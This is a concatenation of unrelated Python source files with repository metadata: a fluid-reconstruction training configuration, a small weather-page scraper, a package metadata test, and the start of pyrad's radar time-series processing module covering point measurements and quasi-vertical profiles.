# 'gamma_loss':[0.5,2], #range for random gamma correction applied to input when evaluating the disc as loss (for density) (value here is inverse gamma)
},
'load_sequence':None, #only for rendering without optimization
'load_sequence_pre_opt':False,
},#data
'training':{
'iterations':5000,
'frame_order':'FWD', #FWD, BWD, RAND
'resource_device':'/cpu:0', #'/cpu:0', '/gpu:0'
#'loss':'L2',
'train_res_down':6,
'loss_active_eps':1e-18, #minimum absolute value of a loss scale for the loss to be considered active (to prevent losses scaled to (almost) 0 from being evaluated)
'density':{
'optim_beta':0.9,
'use_hull':True,
'warp_clamp':"MC_SMOOTH",
'camera_jitter':False,
'scale_render_grads_sharpness':0.0,
'error_functions':{
'raw_target_loss':'SE',
'preprocessed_target_loss':'SE',
'target_depth_smoothness_loss':'SE',
'hull':'SE',
'negative':'SE',
'smoothness_loss':'SE',
'smoothness_loss_2':'SE',
'temporal_smoothness_loss':'SE',
'warp_loss':'SE',
},
'pre_optimization':True, #whether pre-optim will run for density, affects forward propagation/advection of state and optimization
# to only have fwd advection without optimization set iterations to 0
'pre_opt':{
'first':{ #settings for first frame
'iterations':5000,#30000,
'learning_rate':{'type':'exponential', 'start':3.0, 'base':0.5, 'scale':2/30000},
'raw_target_loss':8.7e-7 *20,
'preprocessed_target_loss':0.,
'target_depth_smoothness_loss':0.,
'hull':0.,
'negative':0.,
'smoothness_loss':0.0,#6.8e-14,
'smoothness_neighbours':3,
'smoothness_loss_2':0.0,#8.2e-14,
'temporal_smoothness_loss':0.0,#0.2
'discriminator_loss':0.0,
'warp_loss':0.0,
},
#settings for remaining frames
'iterations':2400,#5000,
'seq_init':"WARP", #WARP, COPY, BASE
'learning_rate':{'type':'exponential', 'start':3.0, 'base':0.5, 'scale':1/3000}, #{'type':'exponential', 'start':0.00005, 'base':0.5, 'scale':2/30000},
'raw_target_loss':8.7e-7 *20,
'preprocessed_target_loss':0.,
'target_depth_smoothness_loss':0.,
'hull':0.,
'negative':0.,
'smoothness_loss':0.0,#6.8e-14,
'smoothness_neighbours':3,
'smoothness_loss_2':0.0,#8.2e-14,
'temporal_smoothness_loss':0.0,#0.2
'discriminator_loss':0.0,
'warp_loss':0.0,
'inspect_gradients':1,
},
'learning_rate':{'type':'exponential', 'start':2.45, 'base':0.5, 'scale':2/30000},#0.00015, #[0.00001,0.00001,0.0001, 0.00009/20000, 4000],
'raw_target_loss':8.7e-7 *20,#for AE; for SE *40; for Huber *80
'preprocessed_target_loss':0.,
'target_depth_smoothness_loss':0.,
'hull':0.,#1e-12,
'negative':0.,#1e-12,
'smoothness_loss':0.0,
'smoothness_neighbours':3, # the kind of neighbourhood to consider in the edge filter (e.g. wether to use diagonals), NOT the kernel size.
'smoothness_loss_2':0.0,
'temporal_smoothness_loss':0.0,#0.2
'discriminator_loss':1.5e-5,
'warp_loss':[6.7e-11 *4,6.7e-11 *4,13.4e-11 *4, 6.7e-11 *4/2000, 2000],#for AE; for SE *8, for Huber *24
'main_warp_fwd':False,
'warp_gradients':{
'weight':sSchedule.setup_constant_schedule(start=1.0),
'active':False,
'decay':sSchedule.setup_constant_schedule(start=0.9), #[0,1], lower is faster decay
'update_first_only':False,
},
"view_interpolation":{
"steps":0,
},
'grow':{
"factor":1.2,#2. factor per interval, max down-scaling is factor^len(intervals)
"pre_grow_actions":[],# "WARP", list, unused
"post_grow_actions":[],# "WARP", list
#iterations for each grow step, empty to disable
'intervals':[],
},
},
'velocity':{
'optim_beta':0.9,
'warp_order':2,
'warp_clamp':"MC_SMOOTH",
'error_functions':{
'density_warp_loss':'SE',
'velocity_warp_loss':'SE',
'divergence_loss':'SE',
'magnitude_loss':'SE',
},
'pre_optimization':True, #whether pre-optim will run for velocity, affects forward propagation/advection of state and optimization
'pre_opt':{
'first':{ #settings for first frame
'iterations':10000,
'learning_rate':0.04,
'density_warp_loss':8.2e-11 *5,
'velocity_warp_loss':0.0,
'smoothness_loss':0.0,
'smoothness_neighbours':3,
'cossim_loss':0.0,
'divergence_loss':sSchedule.setup_exponential_schedule(start=4.3e-10 *2, base=1.2, scale=1/10000), #sSchedule.setup_linear_schedule_2(start=0, end=4.3e-10, steps=7000),#
#'divergence_normalize':0.0,
#adjust according to data.step, large values can lead to NaN.
'magnitude_loss':0.0,#{'type':'exponential', 'start':4e-11, 'base':0.10, 'scale':1/5000},
'grow':{
"factor":1.2,
"scale_magnitude":True,
'intervals':[200, 260, 330, 400, 460, 530, 600, 660, 800, 930, 1060, 1260], #7490
},
},
#settings for remaining frames
'iterations':1200,
'seq_init':"WARP", #WARP, COPY, BASE
'learning_rate':0.02,
'density_warp_loss':8.2e-11 *5,
'velocity_warp_loss':0.0,
'smoothness_loss':0.0,
'smoothness_neighbours':3,
'cossim_loss':0.0,
'divergence_loss':4.3e-10 *6,
#'divergence_normalize':0.0,
'magnitude_loss':0.0,#4e-12,
'grow':{
"factor":1.2,#2. factor per interval, max down-scaling is factor^len(intervals)
"scale_magnitude":True,
'intervals':[],
},
},
'noise_std':sSchedule.setup_constant_schedule(start=0.0),
'learning_rate':{'type':'exponential', 'start':0.02, 'base':0.5, 'scale':2/30000},
# 'lr_decay':0.00,
# 'loss':'L2',
'density_warp_loss':8.2e-11 *5,#for AE; for SE *10; for Huber *25 #influence of loss(A(dt, vt), dt+1) on velocity, can be a schedule
'velocity_warp_loss':sSchedule.setup_linear_schedule_2(start=1.35e-11 *3, end=1.35e-11 *6, steps=5000), #2.7e-12 *5,#for AE; for SE *10; for Huber *20 #influence of loss(A(vt, vt), vt+1) on velocity, can be a schedule
'smoothness_loss':0.0,
'smoothness_neighbours':3, # the kind of neighbourhood to consider in the edge filter (e.g. wether to use diagonals), NOT the kernel size.
'cossim_loss':0.0,
'divergence_loss':sSchedule.setup_exponential_schedule(start=4.3e-10 *6, base=1.2, scale=1/500),
'divergence_normalize':0.0,
'magnitude_loss':0.0,#1e-12,
'warp_gradients':{
'weight':sSchedule.setup_constant_schedule(start=1.0), #affects warp gradients for velocity from backward dens warp, even if vel- warp gradients are inactive
'active':False,
'decay':sSchedule.setup_constant_schedule(start=0.9), #[0,1], lower is faster decay
},
'grow':{
"factor":1.2,#2. factor per interval, max down-scaling is factor^len(intervals)
"scale_magnitude":True,
'intervals':[],
},
},
'optimize_buoyancy':False,
"light":{
"optimize":False,
'optim_beta':0.9,
"min":0.01,
"max":6.0,
"learning_rate":{'type':'exponential', 'start':0.001, 'base':1, 'scale':0},
},
# "scattering":{
# "optimize":False,
# 'optim_beta':0.9,
# "min":0.01,
# "max":1.0,
# "learning_rate":{'type':'exponential', 'start':0.001, 'base':1, 'scale':0},
# },
'discriminator':{
'active':False,
'model':None,#'[RUNID:000000-000000]disc_model.h5',#
'loss_type':"RaLSGAN", #"SGAN", "RpSGAN", "RpLSGAN", "RaSGAN", "RaLSGAN"
'target_label':1.0,#0.9, #0.9 for label smoothing, 1.0 for LS-GAN
# l4s
'layers':[16,16,24,24,32,32,32,64,64,64,16, 4],
'stride':[ 2, 1, 2, 1, 2, 1, 1, 2, 1, 1, 1, 1],
'kernel_size':4,
'padding':'MIRROR', #NONE(=valid), ZERO(=same), MIRROR(=tf.pad(REFLECT))
'activation':'lrelu', # relu or lrelu
'activation_alpha':0.2, # leak for lrelu
'use_fc':False, #usually makes disc stronger
'noise_std':0.0,
'start_delay':0, #50,
'pre_opt':{
'first':{
'train':False,
'learning_rate':{'type':'exponential', 'start':4e-4, 'base':0.5, 'scale':4/30000},
# 'steps':1,
'regularization':0.002,
},
'train':False,
'learning_rate':1.6e-4,
# 'steps':1,
'regularization':0.002,
},
'train':True,
'learning_rate':2e-4,
'steps':1,
'regularization':0.002,
'optim_beta':0.5,
'grow':{ # not yet used
"factor":2.,#2. factor per interval, max down-scaling is factor^len(intervals)
#iterations for each grow step, empty to disable
'intervals':[]
},
'conditional_hull':False,
'temporal_input':{
'active':False,
'step_range':(-3,4,1), #-3 to 3 inclusive, 0 will be removed
},
'num_real':4,
'cam_res_down':6,
'num_fake':3,
'fake_camera_jitter':False,
"history":{
'load':None,
'samples':4, #use older samples as fake samples as well. 0 to disable
'size':800, #
'keep_chance':0.01, # chance to put a rendered sample in the history buffer
'save':False,
'sequence_reuse':True,
'reset_on_density_grow':True,
# 'reset_on_discriminator_grow':False,
},
# 'sequence_reuse':True,
},#discriminator
'summary_interval':200,
},#training
'validation':{
'output_interval':100,
'stats':True,
'cmp_scalarFlow':True,
'cmp_scalarFlow_render':False,
'warp_test':True,
'warp_test_render':True,
'render_cycle':False,
'render_cycle_steps':8,
'render_density':True,
'render_shadow':True,
'render_target':True,
'render_velocity':True,
},
'debug':{
'disc_dump_samples':False,
},
}
RECONSTRUCT_SEQUENCE_SETUP_GROW = {
"training":{
'iterations':7000,
"density":{
'pre_opt':{
'first':{
'iterations':400,
},
'iterations':400,
},
'grow':{
"factor":1.2,
"pre_grow_actions":[],
"post_grow_actions":[],
'intervals':[200,300,400,500,500,600,700,800], #4000
#'intervals':[400,400,400,400,400,400,400,400], #3200
},
},
'velocity':{
'pre_opt':{
'first':{
'iterations':5000,
'divergence_loss':sSchedule.setup_exponential_schedule(start=4.3e-10 *2, base=1.2, scale=1/1000),
'grow':{
"factor":1.2,
"scale_magnitude":True,
'intervals':[660, 860, 1100, 1300], #3920
},
},
'iterations':400,
'divergence_loss':4.3e-10 *6,
},
'divergence_loss':sSchedule.setup_exponential_schedule(start=4.3e-10 *6, base=1.2, scale=1/700),
'grow':{
"factor":1.2,
"scale_magnitude":True,
'intervals':[200,300,400,500,500,600,700,800], #4000
},
},
},
}
RECONSTRUCT_SEQUENCE_SETUP_GROW = _CSETUPS_update_dict_recursive(RECONSTRUCT_SEQUENCE_SETUP_BASE, RECONSTRUCT_SEQUENCE_SETUP_GROW, deepcopy=True, new_key='ERROR')
RECONSTRUCT_SEQUENCE_SETUP_GROW_DGRADWARP = {
"training":{
'frame_order':'BWD',
"density":{
'main_warp_fwd':True,
'warp_gradients':{
'weight':1.0,
'active':True,
'decay':0.9,
'update_first_only':True,
},
},
'velocity':{
'warp_gradients':{
'weight':1.0,
'active':False,
'decay':0.9,
},
},
},
}
RECONSTRUCT_SEQUENCE_SETUP_GROW_DGRADWARP = _CSETUPS_update_dict_recursive(RECONSTRUCT_SEQUENCE_SETUP_GROW, RECONSTRUCT_SEQUENCE_SETUP_GROW_DGRADWARP, deepcopy=True, new_key='ERROR')
RECONSTRUCT_SEQUENCE_SETUP_GROW_DGRADWARP_FRONT = {
"desc":"front-loaded training. 50% longer pre-training, linear growth intervals (longer low res, shorter high res)",
"training":{
'iterations':4200,
"density":{
'pre_opt':{
'first':{
'iterations':600,
},
'iterations':600,
},
'grow':{
"factor":1.2,
"pre_grow_actions":[],
"post_grow_actions":[],
#'intervals':[200,300,400,500,500,600,700,800], #4000
'intervals':[400,400,400,400,400,400,400,400], #3200
},
},
'velocity':{
'pre_opt':{
'first':{
'iterations':6000,
'divergence_loss':sSchedule.setup_exponential_schedule(start=4.3e-10 *2, base=1.2, scale=1/1000),
'grow':{
"factor":1.2,
"scale_magnitude":True,
'intervals':[1000, 1000, 1000, 1000], #4000
},
},
'iterations':600,
'divergence_loss':4.3e-10 *6,
},
'divergence_loss':sSchedule.setup_exponential_schedule(start=4.3e-10 *6, base=1.2, scale=1/400),
'grow':{
"factor":1.2,
"scale_magnitude":True,
'intervals':[400,400,400,400,400,400,400,400], #3200
},
},
},
}
RECONSTRUCT_SEQUENCE_SETUP_GROW_DGRADWARP_FRONT = _CSETUPS_update_dict_recursive(RECONSTRUCT_SEQUENCE_SETUP_GROW_DGRADWARP, RECONSTRUCT_SEQUENCE_SETUP_GROW_DGRADWARP_FRONT, deepcopy=True, new_key='ERROR')
def reconstruct_sequence_setup_compatibility(setup, log_func=lambda s, *p: None):
'''
backwards compat for changes in the configuration
'''
setup = copy.deepcopy(setup)
setup = munch.munchify(setup)
# changed/replaced keys
def log_key_update(k1, v1, k2, v2):
log_func("Update old key '%s' with value '%s' to '%s' with value '%s'", k1, v1, k2, v2)
# target type
if "synthetic_target" in setup.data.density and not "target_type" in setup.data.density:
setup.data.density.target_type = "SYNTHETIC" if setup.data.density.synthetic_target else "RAW"
log_key_update('setup.data.density.synthetic_target', setup.data.density.synthetic_target, 'setup.data.density.target_type', setup.data.density.target_type)
del setup.data.density.synthetic_target
# adjustments for mechanical changes
# if using data from before the sampling step correction: multiply density with 256, warn about loss and shadow/light scaling
# old setups
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| 0.013236
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| 0.187025
| 35,931
| 1,007
| 222
| 35.681231
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2022-02-17T08:35:17.000Z
|
2022-02-17T08:35:17.000Z
|
from bs4 import BeautifulSoup
import requests
def LiveWeather(country, city):
falseVar = 'Unknown address'
c1 = " " in country
c2 = " " in city
if (c1 == True) and (c2 == True):
splitCountry = country.split (' ')
splitCity = city.split (' ')
url = 'https://www.timeanddate.com/weather/' + splitCountry[0] + '-' + splitCountry[1] + '/' + splitCity[
0] + '-' + splitCountry[1]
page = requests.get (url)
file = BeautifulSoup (page.content, 'lxml')
if falseVar in str (file):
return "Wrong Location provided"
else:
head_temp = file.find ('div', class_='h2')
compliment = file.find ('div', class_='bk-focus__qlook')
temp = head_temp.text
temp_type = compliment.p.text
clt = compliment.findAll ("p")[1]
clt2 = clt.text
clt3 = clt2.split ('°C')
return 'Temprature: ' + temp
elif (c1 == True) and (c2 == False):
splitCountry = country.split (' ')
url = 'https://www.timeanddate.com/weather/' + splitCountry[0] + '-' + splitCountry[1] + '/' + city
page = requests.get (url)
file = BeautifulSoup (page.content, 'lxml')
if falseVar in str (file):
return "Wrong Location provided"
else:
head_temp = file.find ('div', class_='h2')
compliment = file.find ('div', class_='bk-focus__qlook')
temp = head_temp.text
temp_type = compliment.p.text
clt = compliment.findAll ("p")[1]
clt2 = clt.text
clt3 = clt2.split ('°C')
return 'Temprature: ' + temp
elif (c1 == False) and (c2 == True):
splitCity = city.split (' ')
url = 'https://www.timeanddate.com/weather/' + country + '/' + splitCity[0] + '-' + splitCity[1]
page = requests.get (url)
file = BeautifulSoup (page.content, 'lxml')
if falseVar in str (file):
return "Wrong Location provided"
else:
head_temp = file.find ('div', class_='h2')
compliment = file.find ('div', class_='bk-focus__qlook')
temp = head_temp.text
temp_type = compliment.p.text
clt = compliment.findAll ("p")[1]
clt2 = clt.text
clt3 = clt2.split ('°C')
return 'Temprature: ' + temp
else:
url = 'https://www.timeanddate.com/weather/' + country + '/' + city
page = requests.get (url)
file = BeautifulSoup (page.content, 'lxml')
if falseVar in str (file):
return "Wrong Location provided"
else:
head_temp = file.find ('div', class_='h2')
compliment = file.find ('div', class_='bk-focus__qlook')
temp = head_temp.text
temp_type = compliment.p.text
clt = compliment.findAll ("p")[1]
clt2 = clt.text
clt3 = clt2.split ('°C')
return 'Temprature: ' + temp
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"MIT"
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def test_package_metadata():
assert find_job_titles.__author__
assert find_job_titles.__email__
assert find_job_titles.__version__
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| 0.2
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|
ddd33ff4b3547f9b87a69245ddc459cbb2800f99
| 40,698
|
py
|
Python
|
src/pyrad_proc/pyrad/proc/process_timeseries.py
|
jfigui/pyrad
|
7811d593bb09a7f8a621c0e8ae3f32c2b85a0254
|
[
"BSD-3-Clause"
] | 41
|
2016-12-01T08:46:06.000Z
|
2021-06-24T21:14:33.000Z
|
src/pyrad_proc/pyrad/proc/process_timeseries.py
|
jfigui/pyrad
|
7811d593bb09a7f8a621c0e8ae3f32c2b85a0254
|
[
"BSD-3-Clause"
] | 42
|
2017-02-23T14:52:49.000Z
|
2021-02-01T10:43:52.000Z
|
src/pyrad_proc/pyrad/proc/process_timeseries.py
|
jfigui/pyrad
|
7811d593bb09a7f8a621c0e8ae3f32c2b85a0254
|
[
"BSD-3-Clause"
] | 21
|
2016-08-25T15:02:12.000Z
|
2021-05-27T04:09:40.000Z
|
"""
pyrad.proc.process_timeseries
=============================
Functions to obtain time series of radar data
.. autosummary::
:toctree: generated/
process_point_measurement
process_qvp
process_rqvp
process_evp
process_svp
process_time_height
process_ts_along_coord
"""
from warnings import warn
import numpy as np
from netCDF4 import num2date
import pyart
from ..io.io_aux import get_datatype_fields, get_fieldname_pyart
def process_point_measurement(procstatus, dscfg, radar_list=None):
"""
Obtains the radar data at a point location.
Parameters
----------
procstatus : int
Processing status: 0 initializing, 1 processing volume,
2 post-processing
dscfg : dictionary of dictionaries
data set configuration. Accepted Configuration Keywords::
datatype : string. Dataset keyword
The data type where we want to extract the point measurement
single_point : boolean. Dataset keyword
if True only one gate per radar volume is going to be kept.
Otherwise all gates within the azimuth and elevation tolerance
are going to be kept. This is useful to extract all data from
fixed pointing scans. Default True
latlon : boolean. Dataset keyword
if True position is obtained from latitude, longitude information,
otherwise position is obtained from antenna coordinates
(range, azimuth, elevation).
truealt : boolean. Dataset keyword
if True the user input altitude is used to determine the point of
interest.
if False use the altitude at a given radar elevation ele over the
point of interest.
lon : float. Dataset keyword
the longitude [deg]. Use when latlon is True.
lat : float. Dataset keyword
the latitude [deg]. Use when latlon is True.
alt : float. Dataset keyword
altitude [m MSL]. Use when latlon is True.
ele : float. Dataset keyword
radar elevation [deg]. Use when latlon is False or when latlon is
True and truealt is False
azi : float. Dataset keyword
radar azimuth [deg]. Use when latlon is False
rng : float. Dataset keyword
range from radar [m]. Use when latlon is False
AziTol : float. Dataset keyword
azimuthal tolerance to determine which radar azimuth to use [deg]
EleTol : float. Dataset keyword
elevation tolerance to determine which radar elevation to use [deg]
RngTol : float. Dataset keyword
range tolerance to determine which radar bin to use [m]
radar_list : list of Radar objects
Optional. list of radar objects
Returns
-------
new_dataset : dict
dictionary containing the data and metadata at the point of interest
ind_rad : int
radar index
"""
if procstatus == 0:
return None, None
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
break
field_name = get_fieldname_pyart(datatype)
ind_rad = int(radarnr[5:8])-1
if procstatus == 2:
if dscfg['initialized'] == 0:
return None, None
# prepare for exit
new_dataset = {
'time': dscfg['global_data']['time'],
'ref_time': dscfg['global_data']['ref_time'],
'datatype': datatype,
'point_coordinates_WGS84_lon_lat_alt': (
dscfg['global_data']['point_coordinates_WGS84_lon_lat_alt']),
'antenna_coordinates_az_el_r': (
dscfg['global_data']['antenna_coordinates_az_el_r']),
'final': True}
return new_dataset, ind_rad
if (radar_list is None) or (radar_list[ind_rad] is None):
warn('ERROR: No valid radar')
return None, None
radar = radar_list[ind_rad]
if field_name not in radar.fields:
warn('Unable to extract point measurement information. ' +
'Field not available')
return None, None
projparams = dict()
projparams.update({'proj': 'pyart_aeqd'})
projparams.update({'lon_0': radar.longitude['data']})
projparams.update({'lat_0': radar.latitude['data']})
single_point = dscfg.get('single_point', True)
if dscfg['latlon']:
lon = dscfg['lon']
lat = dscfg['lat']
alt = dscfg['alt']
x, y = pyart.core.geographic_to_cartesian(lon, lat, projparams)
if not dscfg['truealt']:
ke = 4./3. # constant for effective radius
a = 6378100. # earth radius
re = a * ke # effective radius
elrad = dscfg['ele'] * np.pi / 180.
r_ground = np.sqrt(x ** 2. + y ** 2.)
r = r_ground / np.cos(elrad)
alt_radar = radar.altitude['data']+np.sqrt(
r ** 2. + re ** 2. + 2. * r * re * np.sin(elrad)) - re
alt_radar = alt_radar[0]
else:
alt_radar = dscfg['alt']
r, az, el = pyart.core.cartesian_to_antenna(
x, y, alt_radar-radar.altitude['data'])
r = r[0]
az = az[0]
el = el[0]
else:
r = dscfg['rng']
az = dscfg['azi']
el = dscfg['ele']
x, y, alt = pyart.core.antenna_to_cartesian(r/1000., az, el)
lon, lat = pyart.core.cartesian_to_geographic(x, y, projparams)
lon = lon[0]
lat = lat[0]
d_az = np.abs(radar.azimuth['data'] - az)
if np.min(d_az) > dscfg['AziTol']:
warn(' No radar bin found for point (az, el, r):(' +
str(az)+', '+str(el)+', '+str(r) +
'). Minimum distance to radar azimuth '+str(d_az) +
' larger than tolerance')
return None, None
d_el = np.abs(radar.elevation['data'] - el)
if np.min(d_el) > dscfg['EleTol']:
warn(' No radar bin found for point (az, el, r):(' +
str(az)+', '+str(el)+', '+str(r) +
'). Minimum distance to radar elevation '+str(d_el) +
' larger than tolerance')
return None, None
d_r = np.abs(radar.range['data'] - r)
if np.min(d_r) > dscfg['RngTol']:
warn(' No radar bin found for point (az, el, r):(' +
str(az)+', '+str(el)+', '+str(r) +
'). Minimum distance to radar range bin '+str(d_r) +
' larger than tolerance')
return None, None
if single_point:
ind_ray = np.argmin(np.abs(radar.azimuth['data'] - az) +
np.abs(radar.elevation['data'] - el))
else:
ind_ray = np.where(np.logical_and(
d_az <= dscfg['AziTol'], d_el <= dscfg['EleTol']))[0]
ind_r = np.argmin(np.abs(radar.range['data'] - r))
ant_coord = np.empty((3, ind_ray.size), np.float32)
ant_coord[0, :] = radar.azimuth['data'][ind_ray]
ant_coord[1, :] = radar.elevation['data'][ind_ray]
ant_coord[2, :] = np.zeros(ind_ray.size)+radar.range['data'][ind_r]
val = radar.fields[field_name]['data'].data[ind_ray, ind_r]
time = num2date(radar.time['data'][ind_ray], radar.time['units'],
radar.time['calendar'])
# initialize dataset
if dscfg['initialized'] == 0:
poi = {
'point_coordinates_WGS84_lon_lat_alt': [lon, lat, alt],
'antenna_coordinates_az_el_r': [az, el, r],
'time': time,
'ref_time': dscfg['timeinfo']}
dscfg['global_data'] = poi
dscfg['initialized'] = 1
dscfg['global_data']['ref_time'] = dscfg['timeinfo']
# prepare for exit
new_dataset = dict()
new_dataset.update({'value': val})
new_dataset.update({'datatype': datatype})
new_dataset.update({'time': time})
new_dataset.update({'ref_time': dscfg['timeinfo']})
new_dataset.update(
{'point_coordinates_WGS84_lon_lat_alt': [lon, lat, alt]})
new_dataset.update({'antenna_coordinates_az_el_r': [az, el, r]})
new_dataset.update({'used_antenna_coordinates_az_el_r': ant_coord})
new_dataset.update({'final': False})
return new_dataset, ind_rad
def process_qvp(procstatus, dscfg, radar_list=None):
"""
Computes quasi vertical profiles, by averaging over height levels
PPI data.
Parameters
----------
procstatus : int
Processing status: 0 initializing, 1 processing volume,
2 post-processing
dscfg : dictionary of dictionaries
data set configuration. Accepted Configuration Keywords::
datatype : string. Dataset keyword
The data type where we want to extract the point measurement
angle : int or float
If the radar object contains a PPI volume, the sweep number to
use, if it contains an RHI volume the elevation angle.
Default 0.
ang_tol : float
If the radar object contains an RHI volume, the tolerance in the
elevation angle for the conversion into PPI
hmax : float
The maximum height to plot [m]. Default 10000.
hres : float
The height resolution [m]. Default 50
avg_type : str
The type of averaging to perform. Can be either "mean" or "median"
Default "mean"
nvalid_min : int
Minimum number of valid points to accept average. Default 30.
interp_kind : str
type of interpolation when projecting to vertical grid: 'none',
or 'nearest', etc. Default 'none'
'none' will select from all data points within the regular grid
height bin the closest to the center of the bin.
'nearest' will select the closest data point to the center of the
height bin regardless if it is within the height bin or not.
Data points can be masked values
If another type of interpolation is selected masked values will be
eliminated from the data points before the interpolation
radar_list : list of Radar objects
Optional. list of radar objects
Returns
-------
new_dataset : dict
dictionary containing the QVP and a keyboard stating whether the
processing has finished or not.
ind_rad : int
radar index
Reference
---------
Ryzhkov A., Zhang P., Reeves H., Kumjian M., Tschallener T., Trömel S.,
Simmer C. 2016: Quasi-Vertical Profiles: A New Way to Look at Polarimetric
Radar Data. JTECH vol. 33 pp 551-562
"""
if procstatus == 0:
return None, None
if procstatus == 1:
field_names = []
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
field_names.append(get_fieldname_pyart(datatype))
ind_rad = int(radarnr[5:8])-1
if (radar_list is None) or (radar_list[ind_rad] is None):
warn('ERROR: No valid radar')
return None, None
radar = radar_list[ind_rad]
# default parameters
angle = dscfg.get('angle', 0)
ang_tol = dscfg.get('ang_tol', 1.)
hmax = dscfg.get('hmax', 10000.)
hres = dscfg.get('hres', 50.)
avg_type = dscfg.get('avg_type', 'mean')
nvalid_min = dscfg.get('nvalid_min', 30)
interp_kind = dscfg.get('interp_kind', 'none')
# initialize dataset
if not dscfg['initialized']:
qvp = pyart.retrieve.compute_qvp(
radar, field_names, ref_time=dscfg['timeinfo'],
angle=angle, ang_tol=ang_tol, hmax=hmax, hres=hres,
avg_type=avg_type, nvalid_min=nvalid_min,
interp_kind=interp_kind, qvp=None)
if qvp is None:
warn('Unable to compute QVP')
return None, None
global_dict = dict()
global_dict.update({'start_time': dscfg['timeinfo']})
global_dict.update({'radar_out': qvp})
dscfg['global_data'] = global_dict
dscfg['initialized'] = 1
else:
qvp = pyart.retrieve.compute_qvp(
radar, field_names, ref_time=dscfg['timeinfo'],
angle=angle, ang_tol=ang_tol, hmax=hmax, hres=hres,
avg_type=avg_type, nvalid_min=nvalid_min,
interp_kind=interp_kind,
qvp=dscfg['global_data']['radar_out'])
if qvp is None:
warn('Unable to compute QVP')
return None, None
dscfg['global_data']['radar_out'] = qvp
new_dataset = dict()
new_dataset.update({'radar_out': qvp})
new_dataset.update({'radar_type': 'temporal'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
if procstatus == 2:
if not dscfg['initialized']:
return None, None
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
break
ind_rad = int(radarnr[5:8])-1
qvp = dscfg['global_data']['radar_out']
new_dataset = dict()
new_dataset.update({'radar_out': qvp})
new_dataset.update({'radar_type': 'final'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
def process_rqvp(procstatus, dscfg, radar_list=None):
"""
Computes range defined quasi vertical profiles, by averaging over height
levels PPI data.
Parameters
----------
procstatus : int
Processing status: 0 initializing, 1 processing volume,
2 post-processing
dscfg : dictionary of dictionaries
data set configuration. Accepted Configuration Keywords::
datatype : string. Dataset keyword
The data type where we want to extract the point measurement
hmax : float
The maximum height to plot [m]. Default 10000.
hres : float
The height resolution [m]. Default 2.
avg_type : str
The type of averaging to perform. Can be either "mean" or "median"
Default "mean"
nvalid_min : int
Minimum number of valid points to accept average. Default 30.
interp_kind : str
type of interpolation when projecting to vertical grid: 'none',
or 'nearest', etc. Default 'nearest'
'none' will select from all data points within the regular grid
height bin the closest to the center of the bin.
'nearest' will select the closest data point to the center of the
height bin regardless if it is within the height bin or not.
Data points can be masked values
If another type of interpolation is selected masked values will be
eliminated from the data points before the interpolation
rmax : float
ground range up to which the data is intended for use [m].
Default 50000.
weight_power : float
Power p of the weighting function 1/abs(grng-(rmax-1))**p given to
the data outside the desired range. -1 will set the weight to 0.
Default 2.
radar_list : list of Radar objects
Optional. list of radar objects
Returns
-------
new_dataset : dict
dictionary containing the QVP and a keyboard stating whether the
processing has finished or not.
ind_rad : int
radar index
Reference
---------
Tobin D.M., Kumjian M.R. 2017: Polarimetric Radar and Surface-Based
Precipitation-Type Observations of ice Pellet to Freezing Rain
Transitions. Weather and Forecasting vol. 32 pp 2065-2082
"""
if procstatus == 0:
return None, None
if procstatus == 1:
field_names = []
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
field_names.append(get_fieldname_pyart(datatype))
ind_rad = int(radarnr[5:8])-1
if (radar_list is None) or (radar_list[ind_rad] is None):
warn('ERROR: No valid radar')
return None, None
radar = radar_list[ind_rad]
# default parameters
hmax = dscfg.get('hmax', 10000.)
hres = dscfg.get('hres', 2.)
avg_type = dscfg.get('avg_type', 'mean')
nvalid_min = dscfg.get('nvalid_min', 30)
interp_kind = dscfg.get('interp_kind', 'nearest')
rmax = dscfg.get('rmax', 50000.)
weight_power = dscfg.get('weight_power', 2.)
# initialize dataset
if not dscfg['initialized']:
qvp = pyart.retrieve.compute_rqvp(
radar, field_names, ref_time=dscfg['timeinfo'],
hmax=hmax, hres=hres, avg_type=avg_type,
nvalid_min=nvalid_min, interp_kind=interp_kind, rmax=rmax,
weight_power=weight_power, qvp=None)
if qvp is None:
warn('Unable to compute QVP')
return None, None
global_dict = dict()
global_dict.update({'start_time': dscfg['timeinfo']})
global_dict.update({'radar_out': qvp})
dscfg['global_data'] = global_dict
dscfg['initialized'] = 1
else:
qvp = pyart.retrieve.compute_rqvp(
radar, field_names, ref_time=dscfg['timeinfo'],
hmax=hmax, hres=hres, avg_type=avg_type,
nvalid_min=nvalid_min, interp_kind=interp_kind, rmax=rmax,
weight_power=weight_power,
qvp=dscfg['global_data']['radar_out'])
if qvp is None:
warn('Unable to compute QVP')
return None, None
dscfg['global_data']['radar_out'] = qvp
new_dataset = dict()
new_dataset.update({'radar_out': qvp})
new_dataset.update({'radar_type': 'temporal'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
if procstatus == 2:
if not dscfg['initialized']:
return None, None
for datatypedescr in dscfg['datatype']:
radarnr, _, datatype, _, _ = get_datatype_fields(datatypedescr)
break
ind_rad = int(radarnr[5:8])-1
qvp = dscfg['global_data']['radar_out']
new_dataset = dict()
new_dataset.update({'radar_out': qvp})
new_dataset.update({'radar_type': 'final'})
new_dataset.update({'start_time': dscfg['global_data']['start_time']})
return new_dataset, ind_rad
def process_evp(procstatus, dscfg, radar_list=None):
"""
Computes enhanced vertical profiles, by averaging over height levels
PPI data.
Parameters
----------
procstatus : int
Processing status: 0 initializing, 1 processing volume,
2 post-processing
dscfg : dictionary of dictionaries
data set configuration. Accepted Configuration Keywords::
datatype : string. Dataset keyword
The data type where we want to extract the point measurement
lat, lon : float
latitude and longitude of the point of interest [deg]
latlon_tol : float
tolerance in latitude and longitude in deg. Default 0.0005
delta_rng, delta_azi : float
maximum range distance [m] and azimuth distance [degree] from the
central point of the evp containing data to average. Default 5000.
and 10.
hmax : float
The maximum height to plot [m]. Default 10000.
hres : float
The height resolution [m]. Default 250.
avg_type : str
The type of averaging to perform. Can be either "mean" or "median"
Default "mean"
